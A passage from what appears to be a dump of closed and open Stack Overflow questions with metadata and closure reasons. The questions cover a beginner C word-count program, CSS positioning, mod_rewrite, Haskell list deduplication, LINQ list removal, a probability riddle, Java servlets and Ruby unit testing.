if (currentMax > comparedElement)
break;
else if (currentMax < comparedElement) {
max = m;
currentMax = allWords[m][l];
break;
}
else if (currentMax == comparedElement)
continue;
}
}
// After max (count and string) is determined, perform swap with temp variable
char swapTemp[1][20];
int y = 0;
do {
swapTemp[0][y] = allWords[elementToSort][y];
allWords[elementToSort][y] = allWords[max][y];
allWords[max][y] = swapTemp[0][y];
} while (swapTemp[0][y++] != '\0');
elementToSort++;
}
*/
int a, b;
for (a = 0; a < count; a++) {
for (b = 0; (temp = allWords[a][b]) != '\0'; b++) {
printf ("%c", temp);
}
printf ("\n");
}
// Copy rows to different array and print results
/*
char arrayCopy [count][20];
int ac, ad;
char tempa;
for (ac = 0; ac < count; ac++) {
for (ad = 0; (tempa = allWords[ac][ad]) != '\0'; ad++) {
arrayCopy[ac][ad] = tempa;
printf("%c", arrayCopy[ac][ad]);
}
printf("\n");
}
*/
/* Step 5: Create two additional arrays:
(a) One in which each element contains unique words from char array
(b) One which holds the count for the corresponding word in the other array */
/* Step 6: Sort the count array in decreasing order, and print the corresponding
array element as well as word count in the console */
return 0;
}
// Perform housekeeping tasks like freeing up memory and closing file
I'm really stuck on the selection sort algorithm...I'm currently using 2D arrays to represent strings, and that worked out fine, but when it came to sorting, using three level nested loops didn't seem to work, I tried to use qsort instead, but I don't fully understand that function as well.
Constructive feedback and criticism greatly welcome (...and needed)!
Thanks so much for your help, gladly appreciate it!
Cheers,
Baggio. | java | count | word | word-count | null | 04/01/2012 06:48:15 | too localized | Word Count program in C?
===
I need a bit of guidance with writing a C program...a bit of quick background as to my level, I've programmed in Java previously, but this is my first time programming in C, and we've been tasked to translate a word count program from Java to C that consists of the following:
1. Read a file from memory
2. Count the words in the file
3. For each occurrence of a unique word, keep a word counter variable
4. Print out the top ten most frequent words and their corresponding occurrences
Here's the source program in Java:
package lab0;
import java.io.File;
import java.io.FileReader;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.Collections;
public class WordCount {
private ArrayList<WordCountNode> outputlist = null;
public WordCount(){
this.outputlist = new ArrayList<WordCountNode>();
}
/**
* Read the file into memory.
*
* @param filename name of the file.
* @return content of the file.
* @throws Exception if the file is too large or other file related exception.
*/
public char[] readFile(String filename) throws Exception{
char [] result = null;
File file = new File(filename);
long size = file.length();
if (size > Integer.MAX_VALUE){
throw new Exception("File is too large");
}
result = new char[(int)size];
FileReader reader = new FileReader(file);
int len, offset = 0, size2read = (int)size;
while(size2read > 0){
len = reader.read(result, offset, size2read);
if(len == -1)
break;
size2read -= len;
offset += len;
}
return result;
}
/**
* Make article word by word.
*
* @param article the content of file to be counted.
* @return string contains only letters and "'".
*/
private enum SPLIT_STATE {IN_WORD, NOT_IN_WORD};
/**
* Go through article, find all the words and add to output list
* with their count.
*
* @param article the content of the file to be counted.
* @return words in the file and their counts.
*/
public ArrayList<WordCountNode> countWords(char[] article){
SPLIT_STATE state = SPLIT_STATE.NOT_IN_WORD;
if(null == article)
return null;
char curr_ltr;
int curr_start = 0;
for(int i = 0; i < article.length; i++){
curr_ltr = Character.toUpperCase( article[i]);
if(state == SPLIT_STATE.IN_WORD){
article[i] = curr_ltr;
if ((curr_ltr < 'A' || curr_ltr > 'Z') && curr_ltr != '\'') {
article[i] = ' ';
//printf("\nthe word is %s\n\n",curr_start);
if(i - curr_start < 0){
System.out.println("i = " + i + " curr_start = " + curr_start);
}
addWord(new String(article, curr_start, i-curr_start));
state = SPLIT_STATE.NOT_IN_WORD;
}
}else{
if (curr_ltr >= 'A' && curr_ltr <= 'Z') {
curr_start = i;
article[i] = curr_ltr;
state = SPLIT_STATE.IN_WORD;
}
}
}
return outputlist;
}
/**
* Add the word to output list.
*/
public void addWord(String word){
int pos = dobsearch(word);
if(pos >= outputlist.size()){
outputlist.add(new WordCountNode(1L, word));
}else{
WordCountNode tmp = outputlist.get(pos);
if(tmp.getWord().compareTo(word) == 0){
tmp.setCount(tmp.getCount() + 1);
}else{
outputlist.add(pos, new WordCountNode(1L, word));
}
}
}
/**
* Search the output list and return the position to put word.
* @param word is the word to be put into output list.
* @return position in the output list to insert the word.
*/
public int dobsearch(String word){
int cmp, high = outputlist.size(), low = -1, next;
// Binary search the array to find the key
while (high - low > 1) {
next = (high + low) / 2;
// all in upper case
cmp = word.compareTo((outputlist.get(next)).getWord());
if (cmp == 0)
return next;
else if (cmp < 0)
high = next;
else
low = next;
}
return high;
}
public static void main(String args[]){
// handle input
if (args.length == 0){
System.out.println("USAGE: WordCount <filename> [Top # of results to display]\n");
System.exit(1);
}
String filename = args[0];
int dispnum;
try{
dispnum = Integer.parseInt(args[1]);
}catch(Exception e){
dispnum = 10;
}
long start_time = Calendar.getInstance().getTimeInMillis();
WordCount wordcount = new WordCount();
System.out.println("Wordcount: Running...");
// read file
char[] input = null;
try {
input = wordcount.readFile(filename);
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
System.exit(1);
}
// count all word
ArrayList<WordCountNode> result = wordcount.countWords(input);
long end_time = Calendar.getInstance().getTimeInMillis();
System.out.println("wordcount: completed " + (end_time - start_time)/1000000 +
"." + (end_time - start_time)%1000000 + "(s)");
System.out.println("wordsort: running ...");
start_time = Calendar.getInstance().getTimeInMillis();
Collections.sort(result);
end_time = Calendar.getInstance().getTimeInMillis();
System.out.println("wordsort: completed " + (end_time - start_time)/1000000 +
"." + (end_time - start_time)%1000000 + "(s)");
Collections.reverse(result);
System.out.println("\nresults (TOP "+ dispnum +" from "+ result.size() +"):\n" );
// print out result
String str ;
for (int i = 0; i < result.size() && i < dispnum; i++){
if(result.get(i).getWord().length() > 15)
str = result.get(i).getWord().substring(0, 14);
else
str = result.get(i).getWord();
System.out.println(str + " - " + result.get(i).getCount());
}
}
public class WordCountNode implements Comparable{
private String word;
private long count;
public WordCountNode(long count, String word){
this.count = count;
this.word = word;
}
public String getWord() {
return word;
}
public void setWord(String word) {
this.word = word;
}
public long getCount() {
return count;
}
public void setCount(long count) {
this.count = count;
}
public int compareTo(Object arg0) {
// TODO Auto-generated method stub
WordCountNode obj = (WordCountNode)arg0;
if( count - obj.getCount() < 0)
return -1;
else if( count - obj.getCount() == 0)
return 0;
else
return 1;
}
}
}
Here's my attempt (so far) in C:
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
// Read in a file
FILE *readFile (char filename[]) {
FILE *inputFile;
inputFile = fopen (filename, "r");
if (inputFile == NULL) {
printf ("File could not be opened.\n");
exit (EXIT_FAILURE);
}
return inputFile;
}
// Return number of words in an array
int wordCount (FILE *filePointer, char filename[]) {//, char *words[]) {
// count words
int count = 0;
char temp;
while ((temp = getc(filePointer)) != EOF) {
//printf ("%c", temp);
if ((temp == ' ' || temp == '\n') && (temp != '\''))
count++;
}
count += 1; // counting method uses space AFTER last character in word - the last space
// of the last character isn't counted - off by one error
// close file
fclose (filePointer);
return count;
}
// Print out the frequencies of the 10 most frequent words in the console
int main (int argc, char *argv[]) {
/* Step 1: Read in file and check for errors */
FILE *filePointer;
filePointer = readFile (argv[1]);
/* Step 2: Do a word count to prep for array size */
int count = wordCount (filePointer, argv[1]);
printf ("Number of words is: %i\n", count);
/* Step 3: Create a 2D array to store words in the file */
// open file to reset marker to beginning of file
filePointer = fopen (argv[1], "r");
// store words in character array (each element in array = consecutive word)
char allWords[count][100]; // 100 is an arbitrary size - max length of word
int i,j;
char temp;
for (i = 0; i < count; i++) {
for (j = 0; j < 100; j++) { // labels are used with goto statements, not loops in C
temp = getc(filePointer);
if ((temp == ' ' || temp == '\n' || temp == EOF) && (temp != '\'') ) {
allWords[i][j] = '\0';
break;
} else {
allWords[i][j] = temp;
}
printf ("%c", allWords[i][j]);
}
printf ("\n");
}
// close file
fclose (filePointer);
/* Step 4: Use a simple selection sort algorithm to sort 2D char array */
// PStep 1: Compare two char arrays, and if
// (a) c1 > c2, return 2
// (b) c1 == c2, return 1
// (c) c1 < c2, return 0
qsort(allWords, count, sizeof(char[][]), pstrcmp);
/*
int k = 0, l = 0, m = 0;
char currentMax, comparedElement;
int max; // the largest element in the current 2D array
int elementToSort = 0; // elementToSort determines the element to swap with starting from the left
// Outer a iterates through number of swaps needed
for (k = 0; k < count - 1; k++) { // times of swaps
max = k; // max element set to k
// Inner b iterates through successive elements to fish out the largest element
for (m = k + 1; m < count - k; m++) {
currentMax = allWords[k][l];
comparedElement = allWords[m][l];
// Inner c iterates through successive chars to set the max vars to the largest
for (l = 0; (currentMax != '\0' || comparedElement != '\0'); l++) {
if (currentMax > comparedElement)
break;
else if (currentMax < comparedElement) {
max = m;
currentMax = allWords[m][l];
break;
}
else if (currentMax == comparedElement)
continue;
}
}
// After max (count and string) is determined, perform swap with temp variable
char swapTemp[1][20];
int y = 0;
do {
swapTemp[0][y] = allWords[elementToSort][y];
allWords[elementToSort][y] = allWords[max][y];
allWords[max][y] = swapTemp[0][y];
} while (swapTemp[0][y++] != '\0');
elementToSort++;
}
*/
int a, b;
for (a = 0; a < count; a++) {
for (b = 0; (temp = allWords[a][b]) != '\0'; b++) {
printf ("%c", temp);
}
printf ("\n");
}
// Copy rows to different array and print results
/*
char arrayCopy [count][20];
int ac, ad;
char tempa;
for (ac = 0; ac < count; ac++) {
for (ad = 0; (tempa = allWords[ac][ad]) != '\0'; ad++) {
arrayCopy[ac][ad] = tempa;
printf("%c", arrayCopy[ac][ad]);
}
printf("\n");
}
*/
/* Step 5: Create two additional arrays:
(a) One in which each element contains unique words from char array
(b) One which holds the count for the corresponding word in the other array */
/* Step 6: Sort the count array in decreasing order, and print the corresponding
array element as well as word count in the console */
return 0;
}
// Perform housekeeping tasks like freeing up memory and closing file
I'm really stuck on the selection sort algorithm...I'm currently using 2D arrays to represent strings, and that worked out fine, but when it came to sorting, using three level nested loops didn't seem to work, I tried to use qsort instead, but I don't fully understand that function as well.
Constructive feedback and criticism greatly welcome (...and needed)!
Thanks so much for your help, gladly appreciate it!
Cheers,
Baggio. | 3 |
11,402,008 | 07/09/2012 19:43:39 | 524,893 | 11/30/2010 08:56:47 | 35 | 1 | CSS Positioning in Relative DIV | how can I make it that the Div "PSR-racing-3-slice-17_" in the footer is always 50 px right of the slider div.
if I absolutely positioned then
it warps downsize the browser
on [Page][1]
[1]: http://psr.mediameans.de | css | position | null | null | null | 07/09/2012 22:25:21 | too localized | CSS Positioning in Relative DIV
===
how can I make it that the Div "PSR-racing-3-slice-17_" in the footer is always 50 px right of the slider div.
if I absolutely positioned then
it warps downsize the browser
on [Page][1]
[1]: http://psr.mediameans.de | 3 |
3,931,664 | 10/14/2010 09:07:32 | 471,319 | 10/10/2010 04:28:21 | 11 | 0 | Apache Module mod_rewrite | How to redirect it as follows?:
mysite.com -> mysite.com/index.php
mysite.com/index.php -> mysite.com/index.php
mysite.com/index -> mysite.com/index.php
mysite.com/main.php -> mysite.com/index.php
mysite.com/main -> mysite.com/index.php
Same with .html extension (ie. mysite.com/index.html -> mysite.com/index.php) | apache | null | null | null | null | 02/03/2012 22:10:23 | off topic | Apache Module mod_rewrite
===
How to redirect it as follows?:
mysite.com -> mysite.com/index.php
mysite.com/index.php -> mysite.com/index.php
mysite.com/index -> mysite.com/index.php
mysite.com/main.php -> mysite.com/index.php
mysite.com/main -> mysite.com/index.php
Same with .html extension (ie. mysite.com/index.html -> mysite.com/index.php) | 2 |
10,903,729 | 06/05/2012 19:34:17 | 1,229,706 | 02/24/2012 01:11:24 | 31 | 0 | Artificial Vision C# | I have to make a program using artificial vision, the goal is to compare an image thats on the internet and that same image, printed and scanned. Do you guys know any library that can help me? I have to use C# to develop the program. I found AForge.Net but i dont even know where to start :/ or if this will help me at all.
This is my first program using any kind of intelligence. So any advice would be gladly receive :) | c# | artificial-intelligence | null | null | null | 06/06/2012 03:34:58 | not constructive | Artificial Vision C#
===
I have to make a program using artificial vision, the goal is to compare an image thats on the internet and that same image, printed and scanned. Do you guys know any library that can help me? I have to use C# to develop the program. I found AForge.Net but i dont even know where to start :/ or if this will help me at all.
This is my first program using any kind of intelligence. So any advice would be gladly receive :) | 4 |
6,271,020 | 06/07/2011 20:09:48 | 787,903 | 06/07/2011 17:03:20 | 1 | 0 | delete duplicate number or char from list in haskell | i need a script to delete Duplicate num or char from list in haskell
i use nubby but This is not what I want , i want a script like this
Main>delete [1,3,2,1,4]
output : [3,2,4]
or
Main>delete ['a','b','i','a','l']
output : ['b','i','l']
thank you | haskell | null | null | null | null | 06/09/2011 17:08:47 | not a real question | delete duplicate number or char from list in haskell
===
i need a script to delete Duplicate num or char from list in haskell
i use nubby but This is not what I want , i want a script like this
Main>delete [1,3,2,1,4]
output : [3,2,4]
or
Main>delete ['a','b','i','a','l']
output : ['b','i','l']
thank you | 1 |
8,556,409 | 12/19/2011 02:00:00 | 1,105,127 | 12/19/2011 01:52:52 | 1 | 0 | How to use LINQ remove a subset of list with certain criteria? | Following code will throw runtime exception "Collection was modified; enumeration operation may not execute."
List<string> l = new List<string>();
l.Add("a");
l.Add("b");
l.Add("c");
foreach (string s in l.Where(s => s.CompareTo("a")>0))
l.Remove(s); | c# | linq | remove | null | null | null | open | How to use LINQ remove a subset of list with certain criteria?
===
Following code will throw runtime exception "Collection was modified; enumeration operation may not execute."
List<string> l = new List<string>();
l.Add("a");
l.Add("b");
l.Add("c");
foreach (string s in l.Where(s => s.CompareTo("a")>0))
l.Remove(s); | 0 |
409,096 | 01/03/2009 14:32:53 | 16,883 | 09/17/2008 21:54:55 | 1,517 | 79 | Probability riddle: 2 envelopes, switch or keep? | You are shown two envelopes and told that they both contain money, one twice as much as the other. You select one of them at random - it contains $100. Now you are given the choice to either keep the $100 or the contents of the other envelope instead.
**Question: is it better for you to switch, or better not to switch?**
This is a case of nonintuitive probability similar to the [Unfinished Game Problem][1] Jeff recently mentioned, and the good old [Monty Hall problem][2], but the solution and its explanation are rather different. Like Jeff, I'm asking you to try and reason it out yourself rather than looking it up.
**Please only write answers with explanations why you think so, and look at the already present answers to see if there's already one with the same reasoning.**
I'll wait one day and then either choose the answer with the best correct explanation or provide one myself.
[1]: http://www.codinghorror.com/blog/archives/001203.html
[2]: http://en.wikipedia.org/wiki/Monty_Hall_problem | riddles | language-agnostic | probability | null | null | 01/03/2009 14:42:04 | off topic | Probability riddle: 2 envelopes, switch or keep?
===
You are shown two envelopes and told that they both contain money, one twice as much as the other. You select one of them at random - it contains $100. Now you are given the choice to either keep the $100 or the contents of the other envelope instead.
**Question: is it better for you to switch, or better not to switch?**
This is a case of nonintuitive probability similar to the [Unfinished Game Problem][1] Jeff recently mentioned, and the good old [Monty Hall problem][2], but the solution and its explanation are rather different. Like Jeff, I'm asking you to try and reason it out yourself rather than looking it up.
**Please only write answers with explanations why you think so, and look at the already present answers to see if there's already one with the same reasoning.**
I'll wait one day and then either choose the answer with the best correct explanation or provide one myself.
[1]: http://www.codinghorror.com/blog/archives/001203.html
[2]: http://en.wikipedia.org/wiki/Monty_Hall_problem | 2 |
6,407,166 | 06/20/2011 05:33:24 | 806,060 | 06/20/2011 05:22:34 | 1 | 0 | Java servlet problem after creating and merging from differnt PC's : Rajendra Rajput | I am working on servlet in Java using netbean IDE ,I have servlet's on different PC's when I am merging all in one project in single PC, I have error like module has not been deployed.
If any one knows plz..... answer me.
Rajendra Rajput. | java | servlets | null | null | null | null | open | Java servlet problem after creating and merging from differnt PC's : Rajendra Rajput
===
I am working on servlet in Java using netbean IDE ,I have servlet's on different PC's when I am merging all in one project in single PC, I have error like module has not been deployed.
If any one knows plz..... answer me.
Rajendra Rajput. | 0 |
11,638,501 | 07/24/2012 20:05:14 | 1,549,155 | 07/24/2012 15:13:06 | 1 | 0 | Good resource for Ruby test/unit? | Can anyone recommend a good resource for ruby test/unit? I am having trouble using a test runner. I have tried to use Test::Unit::AutoRunner and Test::Unit::UI::TestRunner. I have had no success with using either of these classes. All of the test cases that I have written work perfectly I just cant see to get them to all work together. | ruby | unit-testing | testing | automated-tests | null | 07/26/2012 23:42:07 | not constructive | Good resource for Ruby test/unit?
===
Can anyone recommend a good resource for ruby test/unit? I am having trouble using a test runner. I have tried to use Test::Unit::AutoRunner and Test::Unit::UI::TestRunner. I have had no success with using either of these classes. All of the test cases that I have written work perfectly I just cant see to get them to all work together. | 4 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.